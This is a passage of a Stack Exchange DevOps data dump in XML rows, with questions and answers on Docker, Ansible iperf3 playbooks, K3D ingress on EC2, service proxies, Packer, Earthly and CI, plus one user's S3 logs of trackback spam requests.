  <row Id="43107" PostHistoryTypeId="2" PostId="13686" RevisionGUID="2013cee1-c1ac-41b5-add2-e3e7547d57d5" CreationDate="2021-04-08T06:17:01.817" UserId="707" Text="&#xD;&#xA;Given there is a [react-native-web solution][1], what needs to be done to build it and run inside a Docker container?&#xD;&#xA;&#xD;&#xA;    What is the build environment/toolchain?&#xD;&#xA;    Which environment is required to run?&#xD;&#xA;&#xD;&#xA;From what I can find so far, it's not clear how this should work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/necolas/react-native-web" ContentLicense="CC BY-SA 4.0" />
  <row Id="43108" PostHistoryTypeId="1" PostId="13686" RevisionGUID="2013cee1-c1ac-41b5-add2-e3e7547d57d5" CreationDate="2021-04-08T06:17:01.817" UserId="707" Text="How to build, package and deploy a react-native-web app in a Docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43109" PostHistoryTypeId="3" PostId="13686" RevisionGUID="2013cee1-c1ac-41b5-add2-e3e7547d57d5" CreationDate="2021-04-08T06:17:01.817" UserId="707" Text="&lt;docker&gt;&lt;containers&gt;&lt;cicd&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43110" PostHistoryTypeId="5" PostId="13686" RevisionGUID="a1dc517f-d350-4e7e-8f9e-0ea34fb22342" CreationDate="2021-04-08T06:22:31.660" UserId="707" Comment="deleted 2 characters in body" Text="&#xD;&#xA;Given there is a [react-native-web solution][1], what needs to be done to build it and run inside a Docker container?&#xD;&#xA;&#xD;&#xA; - What is the build environment/toolchain?&#xD;&#xA; - Which environment is required to run?&#xD;&#xA;&#xD;&#xA;From what I can find so far, it's not clear how this should work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/necolas/react-native-web" ContentLicense="CC BY-SA 4.0" />
  <row Id="43112" PostHistoryTypeId="5" PostId="13628" RevisionGUID="cf906ef9-87df-42a6-8a07-65f9e6358db8" CreationDate="2021-04-08T07:15:11.200" UserId="13111" Comment="Was not awake. Fix getting var for an other server in inventory." Text="&gt; Order of execution is important Server (Task A) needs to run before the client (Task B)&#xD;&#xA;&#xD;&#xA;Then why are your running Task A async in that case ? Is it just because `iperf --server` is not falling in the background and dying as soon as the shell task finishes ? A quick look at the [documentation](https://iperf.fr/iperf-doc.php#3doc) shows we can probably work around that problem with something like:&#xD;&#xA;```bash&#xD;&#xA;iperf3 --server --daemon --pidfile /path/to/iperf3.pid --logfile /path/to/log&#xD;&#xA;```&#xD;&#xA;Notes:&#xD;&#xA;- I added the `logfile` option since I guess it can be useful but it is not mandatory for the current issue&#xD;&#xA;- I took for granted you are running the server on a linux platform. Running it on Windows would apparently slightly change the below scenario. See [Running as a service on windows](https://iperf.fr/iperf-doc.php#service)&#xD;&#xA;&#xD;&#xA;From what I understand the last unsolved issue is running the client tasks sequentially on each client host. This can be done using the [`serial` keyword](https://docs.ansible.com/ansible/latest/user_guide/playbooks_strategies.html#rolling-update-batch-size) on your play.&#xD;&#xA;&#xD;&#xA;Here is an untested pseudo ansible setup summarizing what I understand from your requirements. Adapt to your real use-case.&#xD;&#xA;&#xD;&#xA;**`inventory/iperf_hosts.yml`**&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;iperf_servers:&#xD;&#xA;  vars:&#xD;&#xA;    iperf_pid_file: /tmp/iperf.pid&#xD;&#xA;    iperf_log_file: /tmp/iperf.log&#xD;&#xA;  hosts:&#xD;&#xA;    server1.local:&#xD;&#xA;iperf_clients:&#xD;&#xA;  vars:&#xD;&#xA;    iperf_time: 1&#xD;&#xA;    iperf_dest: some\win\directory&#xD;&#xA;  hosts:&#xD;&#xA;    host1.local:&#xD;&#xA;    host2.local:&#xD;&#xA;    host3.local:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**`playbook.yml`**&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;- name: Start the iperf server&#xD;&#xA;  hosts: iperf_servers&#xD;&#xA;  &#xD;&#xA;  tasks:&#xD;&#xA;    - name: Fire the start command&#xD;&#xA;      command: &quot;iperf3 --server --daemon --pidfile {{ iperf_pid_file }} --logfile {{ iperf_log_file }}&quot;&#xD;&#xA;&#xD;&#xA;- name: Launch clients one after the other.&#xD;&#xA;  hosts: iperf_clients&#xD;&#xA;  serial: 1&#xD;&#xA;  &#xD;&#xA;  tasks:&#xD;&#xA;    - name: Run iperf3 client&#xD;&#xA;      win_command: &quot;iperf3 -c {{ hostvars[group['iperf_servers'][0]].inventory_hostname }} -t {{ iperf_time }}&quot;&#xD;&#xA;      args:&#xD;&#xA;        chdir: &quot;{{ iperf_dest }}&quot;&#xD;&#xA;      register: iperf3_out&#xD;&#xA;&#xD;&#xA;    - debug:&#xD;&#xA;        var: iperf3_out.stdout&#xD;&#xA;&#xD;&#xA;- name: Now we are over with clients, kill the server&#xD;&#xA;  hosts: iperf_servers&#xD;&#xA;  # We already gathered facts at first play so we disable here&#xD;&#xA;  # You might want to disable in all other plays if you don't need facts at all&#xD;&#xA;  gather_facts: false&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Slurp pid from file&#xD;&#xA;      slurp:&#xD;&#xA;        path: &quot;{{ iperf_pid_file }}&quot;&#xD;&#xA;      register: slurped_pid&#xD;&#xA;&#xD;&#xA;    - name: kill the iperf3 process&#xD;&#xA;      command: &quot;kill {{ slurped_pid.content | b64decode }}&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43113" PostHistoryTypeId="2" PostId="13687" RevisionGUID="3082f857-7f85-44d9-9140-054e6348af73" CreationDate="2021-04-08T07:44:07.110" UserId="7513" Text="I'm having trouble accessing my K8S service...&#xD;&#xA;&#xD;&#xA;I'm running the service in K3D on an ec2 instance in AWS. I have deployed a simple HTTP rest API to this and I want to access it via a browser. I have a security group that allows internet traffic ingress on port 8080 (and a bunch of other ports).&#xD;&#xA;&#xD;&#xA;Here are the important bits of my K3D config:&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: k3d.io/v1alpha2&#xD;&#xA;kind: Simple&#xD;&#xA;name: lab&#xD;&#xA;servers: 1&#xD;&#xA;agents: 3&#xD;&#xA;image: rancher/k3s:v1.20.4-k3s1&#xD;&#xA;ports:&#xD;&#xA;  - port: 6443:6443&#xD;&#xA;    nodeFilters:&#xD;&#xA;      - server[0]&#xD;&#xA;  - port: 8080:80&#xD;&#xA;    nodeFilters:&#xD;&#xA;      - loadbalancer&#xD;&#xA;  - port: 8443:443&#xD;&#xA;    nodeFilters:&#xD;&#xA;      - loadbalancer&#xD;&#xA;  - port: 30000:32500&#xD;&#xA;    nodeFilters:&#xD;&#xA;      - loadbalancer&#xD;&#xA;options:&#xD;&#xA;  k3d:&#xD;&#xA;    disableLoadbalancer: false&#xD;&#xA;  k3s:&#xD;&#xA;    extraServerArgs:&#xD;&#xA;      - --no-deploy=traefik&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And, I start my cluster with this command&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;k3d cluster create --config k3d-config.yaml&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This configuration routes inbound traffic on the host's port 8080 to port 80 on the loadbalancer container (and configures other routes too). The output of `docker ps` shows this config seems correct (as does other testing):&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS&#xD;&#xA;a299613b8229        rancher/k3d-proxy:v4.4.0   &quot;/bin/sh -c nginx-pr…&quot;   33 minutes ago      Up 32 minutes       0.0.0.0:8080-&gt;80/tcp, 0.0.0.0:8443-&gt;443/tcp, 0.0.0.0:38713-&gt;6443/tcp, 0.0.0.0:30000-&gt;32500/tcp   k3d-lab-serverlb&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm using nginx ingress, rather than the default traefik ingress. My nginx ingress is deployed with a bare-metal configuration (from the [github project][1]) with the following change:&#xD;&#xA;&#xD;&#xA;nginx-ingress-deploy.yaml&#xD;&#xA;```yaml&#xD;&#xA;spec:&#xD;&#xA;  type: LoadBalancer&#xD;&#xA;  ports:&#xD;&#xA;    - name: http&#xD;&#xA;      port: 80&#xD;&#xA;      protocol: TCP&#xD;&#xA;      targetPort: http&#xD;&#xA;    - name: https&#xD;&#xA;      port: 443&#xD;&#xA;      protocol: TCP&#xD;&#xA;      targetPort: https&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This exposes the ingress controller on port 80 on the load-balancer, allowing me to hit port 80 on the load-balancer node and have it routed to the ingress controller, which will in turn route traffic on layer-7 according to the ingress configuration of my services. At least, I think that's what it is doing.&#xD;&#xA;&#xD;&#xA;Finally, I have a service, configured with the following service and ingress yaml:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: corpora&#xD;&#xA;  namespace: corpora&#xD;&#xA;spec:&#xD;&#xA;  type: ClusterIP&#xD;&#xA;  selector:&#xD;&#xA;    app: corpora&#xD;&#xA;  ports:&#xD;&#xA;    - port: 80&#xD;&#xA;      targetPort: 80&#xD;&#xA;---&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  name: corpora&#xD;&#xA;  namespace: corpora&#xD;&#xA;  annotations:&#xD;&#xA;    kubernetes.io/ingress.class: &quot;nginx&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/rewrite-target: /$2&#xD;&#xA;spec:&#xD;&#xA;  rules:&#xD;&#xA;  - http:&#xD;&#xA;      paths:&#xD;&#xA;        - path:  /corpora(/|$)(.*)&#xD;&#xA;          backend:&#xD;&#xA;            serviceName: corpora&#xD;&#xA;            servicePort: 80&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This should set up the service on port 80 with an ingress controller that routes /corpora to it.&#xD;&#xA;&#xD;&#xA;This is all good. I can look at my corpora ingress controller and I get this beauty:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;NAME      CLASS    HOSTS   ADDRESS        PORTS   AGE&#xD;&#xA;corpora   &lt;none&gt;   *       192.168.16.4   80      42m&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So, when I:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;curl http://192.168.16.4/corpora&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I get the expected result.&#xD;&#xA;&#xD;&#xA;All good and well -- everything works. Except it doesn't. I still can't access this in a browser. When I go to `http://&lt;public-ip&gt;:8080/corpora I get no response (where public-ip is the public IP address of the ec2 instance). Trying this using curl:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;$ curl -v http://&lt;public-ip&gt;:8080/corpora&#xD;&#xA;*   Trying 35.179.93.189:8080...&#xD;&#xA;* TCP_NODELAY set&#xD;&#xA;* Connected to 35.179.93.189 (35.179.93.189) port 8080 (#0)&#xD;&#xA;&gt; GET /corpora HTTP/1.1&#xD;&#xA;&gt; Host: 35.179.93.189:8080&#xD;&#xA;&gt; User-Agent: curl/7.68.0&#xD;&#xA;&gt; Accept: */*&#xD;&#xA;&gt;&#xD;&#xA;* Recv failure: Connection reset by peer&#xD;&#xA;* Closing connection 0&#xD;&#xA;curl: (56) Recv failure: Connection reset by peer&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My terraform configuration opens the security-group up to port 8080 like this:&#xD;&#xA;&#xD;&#xA;```terraform&#xD;&#xA;variable &quot;ports&quot; {&#xD;&#xA;  type = list(any)&#xD;&#xA;  default = [&#xD;&#xA;    { from = 22, to = 22 },&#xD;&#xA;    { from = 80, to = 80 },&#xD;&#xA;    { from = 8080, to = 8080 },&#xD;&#xA;    { from = 443, to = 443 },&#xD;&#xA;    { from = 8443, to = 8443 },&#xD;&#xA;    { from = 30000, to = 32767 }&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_security_group&quot; &quot;k3d&quot; {&#xD;&#xA;  vpc_id = var.vpc.id&#xD;&#xA;  tags   = module.tags.tags&#xD;&#xA;&#xD;&#xA;  dynamic &quot;ingress&quot; {&#xD;&#xA;    for_each = var.ports&#xD;&#xA;    content {&#xD;&#xA;      protocol    = &quot;tcp&quot;&#xD;&#xA;      cidr_blocks = [&quot;0.0.0.0/0&quot;]&#xD;&#xA;      from_port   = ingress.value.from&#xD;&#xA;      to_port     = ingress.value.to&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  egress {&#xD;&#xA;    from_port   = 0&#xD;&#xA;    to_port     = 0&#xD;&#xA;    protocol    = &quot;-1&quot;&#xD;&#xA;    cidr_blocks = [&quot;0.0.0.0/0&quot;]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I do have the sg open for this port, and docker shows that 8080 is mapped to 80 on the internal lb, so I've no idea what's happening. I don't get a response if I curl localhost:8080 either.&#xD;&#xA;&#xD;&#xA;I have [the code for all of this on github][2] if anyone wants to take a look. It's in the 'config' branch. It's all configured via `make`. There are directories to build the ami with packer, build the infra with terraform, log onto the machine, run k3d, install ingress, and run the sample app.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/ingress-nginx/blob/master/deploy/static/provider/baremetal/deploy.yaml&#xD;&#xA;  [2]: https://github.com/BryanDollery/k3d-lab/tree/config" ContentLicense="CC BY-SA 4.0" />
  <row Id="43114" PostHistoryTypeId="1" PostId="13687" RevisionGUID="3082f857-7f85-44d9-9140-054e6348af73" CreationDate="2021-04-08T07:44:07.110" UserId="7513" Text="Can't reach AWS/EC2 + K3D + nginx + service" ContentLicense="CC BY-SA 4.0" />
  <row Id="43115" PostHistoryTypeId="3" PostId="13687" RevisionGUID="3082f857-7f85-44d9-9140-054e6348af73" CreationDate="2021-04-08T07:44:07.110" UserId="7513" Text="&lt;kubernetes&gt;&lt;amazon-ec2&gt;&lt;k3d&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43116" PostHistoryTypeId="2" PostId="13688" RevisionGUID="82e1ba21-cfbe-4efc-a840-5d3940ce5d2d" CreationDate="2021-04-08T09:20:10.103" UserId="27041" Text="A common scenario is two or more services behind a reverse proxy, typically each deployed in a container:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    | service 1 |          | service 2 |&#xD;&#xA;               \            /&#xD;&#xA;                \          /&#xD;&#xA;                 \        /&#xD;&#xA;                 | Proxy  |&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now the two services want to talk to each other. What are the pros/cons of:&#xD;&#xA;&#xD;&#xA; 1. Talking directly to each other?&#xD;&#xA; 2. Going through the reverse proxy?&#xD;&#xA;&#xD;&#xA;Is there any standard best practice? Any potential security concerns?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43117" PostHistoryTypeId="1" PostId="13688" RevisionGUID="82e1ba21-cfbe-4efc-a840-5d3940ce5d2d" CreationDate="2021-04-08T09:20:10.103" UserId="27041" Text="Service to service communication - through proxy or direct?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43118" PostHistoryTypeId="3" PostId="13688" RevisionGUID="82e1ba21-cfbe-4efc-a840-5d3940ce5d2d" CreationDate="2021-04-08T09:20:10.103" UserId="27041" Text="&lt;containers&gt;&lt;networking&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43123" PostHistoryTypeId="2" PostId="13691" RevisionGUID="83cfef6d-a651-44ba-a9ad-db2cef1a2d1c" CreationDate="2021-04-08T16:31:08.797" UserId="27050" Text="The question is: why use a proxy to communicate both applications? What is the point or target (support SSL, security, availability between services?&#xD;&#xA;&#xD;&#xA;In any case, you need 2 proxies, one in each app, in front of each application, it is the best way to use it.&#xD;&#xA;&#xD;&#xA;You can also use tunnels, like SSH tunnel or Stunnel that support TLS" ContentLicense="CC BY-SA 4.0" />
  <row Id="43124" PostHistoryTypeId="2" PostId="13692" RevisionGUID="93bcb9b7-02b2-48ff-a258-b74fc513b39b" CreationDate="2021-04-08T18:52:41.593" UserId="25197" Text="Your challenges are:&#xD;&#xA;- Service discovery (usually DNS-based, but there are other approaches)&#xD;&#xA;- Load balancing for multiple instances of services (server-side with a load balancer, or client-side with smart service discovery)&#xD;&#xA;- Encryption/TLS&#xD;&#xA;- Retry and circuit breaker&#xD;&#xA;&#xD;&#xA;There are few patterns&#xD;&#xA;&#xD;&#xA; - API Gateway routing traffic for API calls not only for external traffic but also internally. Sometimes useful, but there are situations when you expose a &quot;public&quot; API through the gateway only, but not the &quot;private&quot; APIs that are internal-only&#xD;&#xA; - A service mesh (Istio, LinkerD) - a sidecar is added to each service that is technically a reverse proxy (Envoy) and will handle mTLS/encryption, authentication, tracing, logging, circuit breaker, load balancing etc.  The control plane of a service mesh keeps all proxies in sync.&#xD;&#xA; - Point-to-point communication with client-side load balancing (or none in a simplest situation)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43128" PostHistoryTypeId="2" PostId="13694" RevisionGUID="5947bc6c-7ee4-4790-bd1e-70f1dccdab19" CreationDate="2021-04-09T16:02:36.787" UserId="27070" Text="You're looking at a list of different *builders*. &#xD;&#xA;there can be multiple builder entries, and they're indicated by a certain 'type' - see the field named *type*.&#xD;&#xA;&#xD;&#xA;In the example from Stefan there are *qemu*, *hyperv-iso*, *vmware-iso*, *virtualbox-iso* and finally *parallels-iso*.&#xD;&#xA;&#xD;&#xA;Each of them contains&#xD;&#xA;- a full set of parameters for building a VM &quot;artifact&quot; &#xD;&#xA;- the right parameters for that respective hypervisor.&#xD;&#xA;- the scripts to install the specific guest tools&#xD;&#xA;- the scripts for shared tasks they all need, i.e. the automatic update scripts.&#xD;&#xA;&#xD;&#xA;An artifact here is an installed VM in the format of this specific hypervisor / an iso of that / something.&#xD;&#xA;&#xD;&#xA;And so that's why you can have some duplication, and as such, that's why *you* probably only need to copy one builder section ." ContentLicense="CC BY-SA 4.0" />
  <row Id="43129" PostHistoryTypeId="2" PostId="13695" RevisionGUID="b791003c-390a-40f8-8d49-2f043f2e43b7" CreationDate="2021-04-09T18:32:50.977" UserId="27073" Text="I've been considering the [Earthly](https://docs.earthly.dev/) build automation tool as a replacement for Make in my project. I have a mono repo with a root Makefile, that has a target that scans for subfolders with Makefiles, and builds those with `make -C some_subfolder`.&#xD;&#xA;&#xD;&#xA;Looking at the documentation for Eartly, the only way I can see to support those builds is to make a static lists of subfolders, and then build them using the example from the [mono repo documentation](https://docs.earthly.dev/examples/other-earthfile-examples/monorepo), like&#xD;&#xA;&#xD;&#xA;```docker&#xD;&#xA;FROM alpine:3.13&#xD;&#xA;&#xD;&#xA;all:&#xD;&#xA;    BUILD ./some_subfolder+all&#xD;&#xA;    BUILD ./another_folder+all&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I've been through the rest of the guides, and I can't see any way to make that list of build instructions dynamic, without writing a wrapper script to run Earthly. Has anyone else had this issue and come up with a solution?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43130" PostHistoryTypeId="1" PostId="13695" RevisionGUID="b791003c-390a-40f8-8d49-2f043f2e43b7" CreationDate="2021-04-09T18:32:50.977" UserId="27073" Text="Is it possible to build a dynamic list of targets with Earthly" ContentLicense="CC BY-SA 4.0" />
  <row Id="43131" PostHistoryTypeId="3" PostId="13695" RevisionGUID="b791003c-390a-40f8-8d49-2f043f2e43b7" CreationDate="2021-04-09T18:32:50.977" UserId="27073" Text="&lt;build-pipeline&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43132" PostHistoryTypeId="2" PostId="13696" RevisionGUID="612c5a1c-e0bd-4493-9dfa-99eb8d924cfd" CreationDate="2021-04-09T21:11:32.857" UserId="27075" Text="I've written a logfile analysis program for my S3 logs and I'm now looking in detail at every line. I've seen some odd behavior lately. I'm trying to figure out &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;938c42948af97101aa4121273349fb9034d92563dede79b306da5fb954759e8b mys3bucket [31/Mar/2021:12:15:33 +0000] 192.171.91.135 - 530GTEGJQBJY2KZ8 REST.POST.OBJECT fluffy-bunny/feature_context.1.0.txt/trackback/ &quot;POST /fluffy-bunny/feature_context.1.0.txt/trackback/ HTTP/1.1&quot; 405 MethodNotAllowed 348 - 10 - &quot;https://forum.bdaia.com/forums/users/carolhillyard92/&quot; &quot;PHP/5.3.78&quot; - 2SXnDoKzEpyQTTSYZ7iX8edx8GxkE+wQWBNTy1DaCqhEM/Tfoy13GPBXka4MJV/YM4haKP2jfns= - ECDHE-RSA-AES128-GCM-SHA256 - mys3bucket.s3.amazonaws.com TLSv1.2&#xD;&#xA;938c42948af97101aa4121273349fb9034d92563dede79b306da5fb954759e8b mys3bucket [31/Mar/2021:16:55:24 +0000] 198.46.199.73 - 6NSWVQYD76FDKCXR REST.POST.OBJECT fluffy-bunny/feature_context.1.0.txt/trackback/ &quot;POST /fluffy-bunny/feature_context.1.0.txt/trackback/ HTTP/1.1&quot; 405 MethodNotAllowed 348 - 39 - &quot;http://www.sdyojoy.com:1108/uchome/space.php?uid=2407&amp;do=blog&amp;id=27798&quot; &quot;PHP/5.3.58&quot; - LiXYpzyuOT7SVQ8zhcesWDCUeB6ztpWolmW+Zl1pUJZa0vDKQ0o/aFc9Sx+9r8Cv4qT1OL74eN8= - ECDHE-RSA-AES128-GCM-SHA256 - mys3bucket.s3.amazonaws.com TLSv1.2&#xD;&#xA;938c42948af97101aa4121273349fb9034d92563dede79b306da5fb954759e8b mys3bucket [01/Apr/2021:01:57:10 +0000] 75.75.232.172 - V6WWER9Y6J5VAFYB REST.POST.OBJECT fluffy-bunny/feature_context.1.0.txt/trackback/ &quot;POST /fluffy-bunny/feature_context.1.0.txt/trackback/ HTTP/1.1&quot; 405 MethodNotAllowed 348 - 36 - &quot;https://marlou8x.wixsite.com/sellhousesflorida&quot; &quot;PHP/5.3.57&quot; - gxFYg3c3s+d18BBOfaYQxkeDICmhQQjXbgewr2kNxu5AJy6LoLvaRHpDZcWMNbnDcoxgqqNIi4I= - ECDHE-RSA-AES128-GCM-SHA256 - mys3bucket.s3.amazonaws.com TLSv1.2&#xD;&#xA;938c42948af97101aa4121273349fb9034d92563dede79b306da5fb954759e8b mys3bucket [08/Apr/2021:05:18:52 +0000] 223.24.160.99 - J2T36MABS02RSJQH REST.POST.OBJECT fluffy-bunny/feature_context.1.0.txt/trackback/ &quot;POST /fluffy-bunny/feature_context.1.0.txt/trackback/ HTTP/1.1&quot; 405 MethodNotAllowed 348 - 13 - &quot;http://fogbugz.qarbon.com/default.asp?vb.7.7975.0&quot; &quot;PHP/5.3.48&quot; - sB+DtSFSUkRXq9IoJ4qYxvrRaYH3v1ENQLHQnX3AHNNWAp8y7sITAgYSlboMRjqq6Z9VKgaipf8= - ECDHE-RSA-AES128-GCM-SHA256 - mys3bucket.s3.amazonaws.com TLSv1.2&#xD;&#xA;938c42948af97101aa4121273349fb9034d92563dede79b306da5fb954759e8b mys3bucket [08/Apr/2021:09:01:33 +0000] 103.113.106.178 - KZG78XKQQGA9J824 REST.POST.OBJECT fluffy-bunny/feature_context.1.0.txt/trackback/ &quot;POST /fluffy-bunny/feature_context.1.0.txt/trackback/ HTTP/1.1&quot; 405 MethodNotAllowed 348 - 31 - &quot;http://www.almelosewandelkring.nl/gastenboek/&quot; &quot;PHP/5.3.55&quot; - ydsWsdsWpeRgY8j8TnD6/pp14AApQTW8jQQXV8an+eGdSl/EooPzv6RApcMEi7KfX0WgQmc6u/E= - ECDHE-RSA-AES128-GCM-SHA256 - mys3bucket.s3.amazonaws.com TLSv1.2&#xD;&#xA;938c42948af97101aa4121273349fb9034d92563dede79b306da5fb954759e8b mys3bucket [09/Apr/2021:05:07:44 +0000] 103.153.68.150 - RH6ZGFHX6SM9EECM REST.POST.OBJECT fluffy-bunny/feature_context.1.0.txt/trackback/ &quot;POST /fluffy-bunny/feature_context.1.0.txt/trackback/ HTTP/1.1&quot; 405 MethodNotAllowed 348 - 44 - &quot;https://mbee.com.vn/dia-chi-ban-vach-ngan-ve-sinh-compact-tai-ho-chi-minh-hcm/&quot; &quot;PHP/5.2.59&quot; - zYsaK9qHYBsF4xEpJ5ttQP6AXtgJF/DWqWqm63tSNcWlI/xf93LZv3gZwgyAxGohzqau31eLX6Y= - ECDHE-RSA-AES128-GCM-SHA256 - mys3bucket.s3.amazonaws.com TLSv1.2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* I'm not familiar with this `/trackback/` post. Is this from Wordpress or something?&#xD;&#xA;* Is REST.POST.OBJECT somebody trying to do a HTTP POST on my S3 bucket (which is available as a web server), or is it someone going in with the S3-specific APIs?&#xD;&#xA;&#xD;&#xA;This is mildly annoying, so I'll  program my logfile analysis program to ignore it. Should I be concerned?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43133" PostHistoryTypeId="1" PostId="13696" RevisionGUID="612c5a1c-e0bd-4493-9dfa-99eb8d924cfd" CreationDate="2021-04-09T21:11:32.857" UserId="27075" Text="why is a PHP client trying to do unauthorized REST.POST.OBJECT to my S3 bucket?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43134" PostHistoryTypeId="3" PostId="13696" RevisionGUID="612c5a1c-e0bd-4493-9dfa-99eb8d924cfd" CreationDate="2021-04-09T21:11:32.857" UserId="27075" Text="&lt;security&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43135" PostHistoryTypeId="2" PostId="13697" RevisionGUID="93667505-c25a-43bd-b09b-52969cd2f5bf" CreationDate="2021-04-09T21:20:00.243" UserId="27076" Text="I have a service running in Docker that listens on a Unix Domain Socket, and a client running on the Docker host (a Mac). The client gets a &quot;Connection Refused&quot; error trying to connect.&#xD;&#xA;&#xD;&#xA;I'm mapping the volume when I run the server (docker run -it -v /localpath:/var/run myservice) and I see the socket file created in the local dir just fine.&#xD;&#xA;&#xD;&#xA;It works fine if I also run the client in Docker (different container instance), or if I run both locally. But if I run one side in Docker and the other locally it fails (I've tried both directions). I thought it might be a uid/gid mismatch but that looks ok, and if I force them to be different I get a permission denied error.&#xD;&#xA;&#xD;&#xA;My app is using Java 16's UnixDomainSocketAddress, but I've also tested with a python script (using an AF_UNIX socket) and see the same problem, so it seems like a Docker thing. Any ideas?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43136" PostHistoryTypeId="1" PostId="13697" RevisionGUID="93667505-c25a-43bd-b09b-52969cd2f5bf" CreationDate="2021-04-09T21:20:00.243" UserId="27076" Text="Connection Refused to Unix socket in Docker container from host" ContentLicense="CC BY-SA 4.0" />
  <row Id="43137" PostHistoryTypeId="3" PostId="13697" RevisionGUID="93667505-c25a-43bd-b09b-52969cd2f5bf" CreationDate="2021-04-09T21:20:00.243" UserId="27076" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43139" PostHistoryTypeId="2" PostId="13698" RevisionGUID="57245578-1fa1-4bc4-921f-80fa3c49f609" CreationDate="2021-04-10T01:27:26.687" UserId="4115" Text="As far as I can tell from reading [the source code](https://github.com/jenkinsci/gitlab-branch-source-plugin/blob/master/src/main/java/io/jenkins/plugins/gitlabbranchsource/helpers/GitLabPipelineStatusNotifier.java), the build status notifications are basically hard-coded into the GitLab Branch Source plugin and cannot be disabled.  Therefore, without writing your own plugin or something like that, the only way I can think of to disable the build status notifications would be to use a different method of checking out the repository that does not use the GitLab plugin, e.g. using the `checkout` step with a direct url." ContentLicense="CC BY-SA 4.0" />
  <row Id="43140" PostHistoryTypeId="2" PostId="13699" RevisionGUID="4b62cc52-1df1-4639-b74f-7af8ba1394ab" CreationDate="2021-04-10T05:51:28.390" UserId="23396" Text="**Background**&#xD;&#xA;&#xD;&#xA;In our organization we have many small repos for shared libraries used among our applications. Particularly, we have many Python libraries and Python applications. We have a structures like:&#xD;&#xA;&#xD;&#xA; - `myorg/python-lib1`: produces package `myorg.lib1`&#xD;&#xA; - `myorg/python-lib2`: produces package `myorg.lib2`&#xD;&#xA; - `myorg/python-app`: produces a package `myorg.app`, depends on `myorg.lib1` and `myorg.lib2`&#xD;&#xA;&#xD;&#xA;In our CI for `myorg/python-lib1` and `myorg/python-lib1` we run unit tests when PRs come in and publish wheels to PyPI on merges to the main branch.&#xD;&#xA;&#xD;&#xA;In our CI for `myorg/python-app1` we will build test application images when PRs come, deploy them to a test kubernetes cluster, and allow developers to run integration tests against it. It has a Dockerfile like:&#xD;&#xA;    &#xD;&#xA;    # Builds image reistry.myorg.com/python-app&#xD;&#xA;    FROM reistry.myorg.com/python-base:latest&#xD;&#xA;    &#xD;&#xA;    COPY . /app&#xD;&#xA;    &#xD;&#xA;    # Implicitly gets the latest `myorg.lib1` and `myorg.lib2` from PyPI&#xD;&#xA;    RUN pip install /app&#xD;&#xA;&#xD;&#xA;***Note**: We also have some projects using build-packs to achieve a similar goal.*&#xD;&#xA;&#xD;&#xA;-----------&#xD;&#xA;&#xD;&#xA;**Issue**&#xD;&#xA;&#xD;&#xA;Because we only run the integration tests for `myorg/python-app1`, we can't get as much confidence when a change to `myorg/python-lib1` and `myorg/python-lib2` happens. We have to wait for the libraries to get published to PyPI and then rebuild the application images. When there's an issue in the library, this usually involves us git reverting and fixing the PyPI version. This is super cumbersome when we have a lot of images that pull in the dependency before we detect it needs to be rolled back.&#xD;&#xA;&#xD;&#xA;I'm looking to restructure the way we build images in `myorg/python-app1` (and other apps that share this pattern) to support pulling in dependencies based off of the PR branches.&#xD;&#xA;&#xD;&#xA;I've looked at a lot of tools for containerization but I haven't seen any 